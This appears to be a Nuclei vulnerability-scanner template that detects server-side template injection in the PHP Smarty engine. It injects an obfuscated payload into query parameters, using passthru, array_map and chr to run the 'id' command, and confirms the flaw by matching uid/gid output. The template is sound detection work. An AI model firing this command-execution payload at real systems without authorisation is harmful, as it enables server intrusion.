smarty-ssti: Smarty - Server Side Template Injection

id: smarty-ssti

info:
  name: Smarty - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    In PHP template engine Smarty, template injection is possible by exploiting the passthru function combined with array_map and chr.
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
  metadata:
    max-request: 1
  tags: smarty,ssti,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}"

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
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